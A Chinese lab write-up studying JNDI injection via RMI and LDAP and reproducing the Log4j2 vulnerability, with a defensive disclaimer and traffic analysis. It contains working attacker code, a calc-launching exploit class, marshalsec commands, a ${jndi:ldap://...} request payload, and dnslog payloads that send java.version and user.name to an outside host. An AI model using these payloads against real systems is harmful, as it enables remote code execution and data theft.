0
点赞
收藏
分享

微信扫一扫

JNDI注入学习

申明:本文主要记录的是JNDI相关漏洞的学习、复现及利用过程,通过复现可以更好的了解漏洞的原理,从而有助于甲方安全人员在实际工作中进行安全防护、流量分析,更好的保护网络安全。严禁用于从事影响网络安全的非法活动,造成的任何后果与本文及本人无关!

一、JNDI简介

       JNDI(The Java Naming and Directory Interface),Java命名和目录接口,是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。JNDI主要提供的服务包括:

RMI,JAVA远程方法调用;

LDAP,轻量级目录访问协议;

CORBA,公共对象请求代理体系结构;

DNS,域名服务

JNDI通过绑定的概念将对象和名称联系起来,在一个文件系统中,文件名被绑定给文件,即对象名被绑定给了一个对象实体。

JNDI客户端调用方式:

1、 指定需要查找name名称:

String jndiName = “jndiName”;

2、 初始化默认环境

Context context = new InitialContext();

3、 查找该name的数据

Context.lookup(jndiName);

这里的jndiName变量的值可以是上面的命名/目录服务列表里面的值,如果JNDI名称可控的话可能会被恶意利用。

二、RMI+JNDI Reference Payload

JNDI Reference是类javax.naming.Reference的Java对象。它由有关所引用对象的类信息和地址的有序列表组成。

Referecnce还包含有助于创建引用所引用的对象实例的信息。它包含该对象的java类名称,以及用于创建对象的对象工厂的类名称和位置。

ReferenceWrapper:继承了UnicastRemoteObject,将对象封装为远程对象。

public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference {

JDK 6u141,JDK 7u131,JDK 8u121中Java提升了JNDI限制了Naming/Directory服务中JNDIReference远程加载Object Factory类的特性。系统属性com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。

1、 受害者代码(存在漏洞的代码):

该代码中uri如果是人为可控,那么可以构造一个恶意的RMIServer进行漏洞利用:

package com.jndiDemo.test;

import javax.naming.Context;
import
javax.naming.InitialContext;
import
javax.naming.NamingException;

public class
client {
   
public static void main(String[] args) {
       
try{
            String uri =
"rmi://127.0.0.1:1099/exp";
           
Context context = new InitialContext();
           
context.lookup(uri);
       
} catch (NamingException e) {
            e.printStackTrace()
;
       
}
    }
}

2、恶意者代码

package com.jndiDemo.test;
import com.sun.jndi.rmi.registry.ReferenceWrapper;



import javax.naming.NamingException;

import javax.naming.Reference;

import java.rmi.AlreadyBoundException;

import java.rmi.RemoteException;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;



public class attacker {

public static void main(String[] args) {

try{

Registry registry = LocateRegistry.createRegistry(1099);

Reference aa = new Reference("exp","exp","http://127.0.0.1:8888/");

ReferenceWrapper referenceWrapper = new ReferenceWrapper(aa);

registry.bind("exp",referenceWrapper);

System.out.println("success");

} catch (RemoteException | AlreadyBoundException | NamingException e) {

e.printStackTrace();

}

}

}

3、 编写exp

import java.io.IOException;

public class exp {

    static {

        try{

            Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});

//            Runtime.getRuntime().exec(new String[]{"cmd","/c","ping admabu.dnslog.cn"});

            } catch (IOException e) {

            e.printStackTrace();

        }

    }

    public static void main(String[] args){}

}

然后使用javac命令进行编译生成exp.class文件。说明原本这个exp是在package com.jndiDemo.test这个包下面编写的,但是EXP里面不能有包名,否则会报错,如下:

Exception in thread "main" java.lang.NoClassDefFoundError: exp (wrong name: com/jndiDemo/test/exp)exp

4、启动httpserver,将http服务器监听在8888端口,然后将exp.class文件放在服务器中,如下:JNDI注入学习_log4j2

在测试的时候发现exp不能放在与受害者同一个项目下,否则不会从http server去下载exp。

5、启动受害者代码,弹出计算器。另外,注意观察httpserver,可以看到每次运行受害者代码的时候,都会在httpserver产生一条http请求记录。

三、LDAP + JNDI 注入

1、利用marshalsec启动一个ldap服务器,首先下载marshalsec源码,使用mvn进行打包为jar包marshalsec-0.0.3-SNAPSHOT-all.jar:

进入到marshalsec-master目录,打包命令:

C:\Users\yangqiang\Downloads\marshalsec-master>D:\maven\apache-maven-3.8.4-bin\apache-maven-3.8.4\bin\mvn clean package -DskipTestsJNDI注入学习_java_02JNDI注入学习_log4j2_03

打包完成后可以看到多了一个target目录,内容如下:JNDI注入学习_jndi_04

2、然后使用marshalsec-0.0.3-SNAPSHOT-all.jar启动ldap服务,本听LDAP监听在8099端口上,将LDAP查询请求重定向到​​http://127.0.0.1/#exploit​​,这里exploit为恶意代码编译后的class文件,命令如下:

D:\>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#exploit 8099JNDI注入学习_log4j2_05

3、准备恶意人员可以利用的代码,或者受害者的代码:JNDI注入学习_jndi_06

查询ldap的地址为ldap://127.0.0.1:8099,后面的“a”为随便写的一个可用于进行DN查找的字符。

4、准备exploit.java代码,并且将exploit.java内容进行编译,注意该代码不要包含包名,否则在远程调用的时候会因为类名不正确而报错:JNDI注入学习_jndi_07

5、编译后放到http server下面:JNDI注入学习_jndi_08

6、启动http server:JNDI注入学习_log4j2_09

7、然后启动第3步准备的代码,可以看到弹出计算器:JNDI注入学习_log4j2_10

8、查看LDAP上的记录,可以看到LDAP服务器将请求重定向到了恶意的Http服务器:JNDI注入学习_log4j2_11

恶意的http server上面的记录,可以看到http请求:

JNDI注入学习_java_12

9、下面通过debug看一下受害者(客户端)在请求进行LDAP查询的过程中,LDAP服务器返回恶意exploit对象的过程,在client的lookup处下断点,依次的调用关系如下:

(1)InitialContext().lookup("ldap://127.0.0.1:8099/x")

(2)getURLOrDefaultInitCtx(name).lookup(name)

(3)super.lookup(var1)

(4)var4 = var3.lookup(var2.getRemainingName())

(5)var2.p_lookup(var6, var4)

(6)this.c_lookup(var4.getHead(), var2)

(7)LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true)

​在第(7)步中看到这里有一个doSearchOnce方法,返回LdapResult的值存放在变量var23中,在这一步实际上就是在进行LDAP的查找,LDAP服务器的日志“Send LDAP reference result for x redirecting to ​​http://127.0.0.1/exploit.class​​”也是在这个时候产生的。下图显示的是LDAP查询后的信息:

这里有两个重要的信息,一个是javacodebase,值就是​​http://127.0.0.1/​​,这个是恶意的Httpserver;另外一个是javafactory,值是exploit,这个就是在Httpserver上的恶意对象,具体如下图。JNDI注入学习_java_13

10、后续就是拿到codebases,然后进行类加载,重要的步骤如下:

(1)var3 = Obj.decodeObject((Attributes)var4)

(2)String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]))

​(3)clas = helper.loadClass(factoryName)

(4)return loadClass(className, cl);

(5)Class<?> cls = Class.forName(className, true, cl); 在这里会去加载HttpServer中的恶意类exploit

(5)return cls;

(6)return (clas != null) ? (ObjectFactory) clas.newInstance() : null;这一步判断clas是否为空,如果不为空,就使用Class对象的newInstance()方法创建这个类对象,而这个类对象为恶意对象,因此在这个创建的过程中就执行了恶意代码。

四、log4j2漏洞复现

(一)受影响的版本:

       Log4j2 2.x <= 2.15.0-rc1

       我测试使用的是apache-log4j-2.14.0,其中两个组件log4j-api-2.14.1.jar以及log4j-core-2.14.1.jar

       其他条件:

       我使用的是1.8.0.66

(二)环境搭建

1、使用spring搭建一个简单的控制器环境:

package com.example.log4j2demo;

import
org.apache.logging.log4j.LogManager;
import
org.apache.logging.log4j.core.Logger;
import
org.springframework.web.bind.annotation.PostMapping;
import
org.springframework.web.bind.annotation.RequestMapping;
import
org.springframework.web.bind.annotation.RequestParam;
import
org.springframework.web.bind.annotation.RestController;



@RestControllerpublic class log4j2ClassController {

   
private static final Logger
logger = (Logger) LogManager.getLogger(log4j2ClassController.class);

   
@RequestMapping("/hello")
   
@PostMapping("/hello")
   
public void hello(@RequestParam("name") String name){
        System.
out.println("Hello: " + name);
       
logger.error(name);
   
}
}

2、 导入受影响的版本apache-log4j-2.14.1,可以直接在IDEA Project Structure的Modules中设置,也可以通过maven设置。通过maven配置时pom.xml配置如下:

<dependencies>
    <dependency>
        <groupId>
org.apache.logging.log4j</groupId>
        <artifactId>
log4j-core</artifactId>
        <version>
2.14.1</version>
    </dependency>
    <dependency>
        <groupId>
org.apache.logging.log4j</groupId>
        <artifactId>
log4j-api</artifactId>
        <version>
2.14.1</version>
    </dependency>
</dependencies>

3、 启动服务。

4、 通过浏览器访问,测试页面,设置参数name=haha,可以看到后台打印了该信息。JNDI注入学习_log4j2_14

(三)漏洞证明

1、通过dnslog进行证明,获取dnslog,使用BURP修改报文如下:JNDI注入学习_log4j2_15

2、发送报文后,检查dnslog,可以看到请求信息,如下:JNDI注入学习_java_16

(四)漏洞利用

1、 使用marshalsec启动LDAP服务器,操作方式如之前所述。

2、 启动Httpserver,操作方式如前所述。

3、 通过浏览器访问​​http://192.168.2.6:8080/hello​​,然后通过BURP修改为POST请求,如下:

POST /hello HTTP/1.1

Host: 192.168.2.8:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 42

 

name=${jndi:ldap://localhost:8099/exploit}

弹出计算器。JNDI注入学习_jndi_17

4、 通过dnslog外带数据,PAYLOAD示例:

name=${jndi:ldap://${sys:java.version}.4bme6p.dnslog.cn}

name=${jndi:ldap://${sys:user.name}.4bme6p.dnslog.cn}攻JNDI注入学习_log4j2_18

5、 反弹SHELL,这里就没有再测试了,在网上盗了一个exp图:JNDI注入学习_jndi_19

6、 流量特征

DNSLOG流量:JNDI注入学习_log4j2_20

搭建的ldap/http server,模拟恶意请求流量:

JNDI注入学习_java_21

五、JDK版本依赖关系

最后说明一下RMI、RMI-JNDI、LDAP-JNDI几种利用方式与JDK版本之间的依赖关系,这张图是从网上找来的,介绍了几种不同的注入方式,供参考。JNDI注入学习_java_22

举报

相关推荐

0 条评论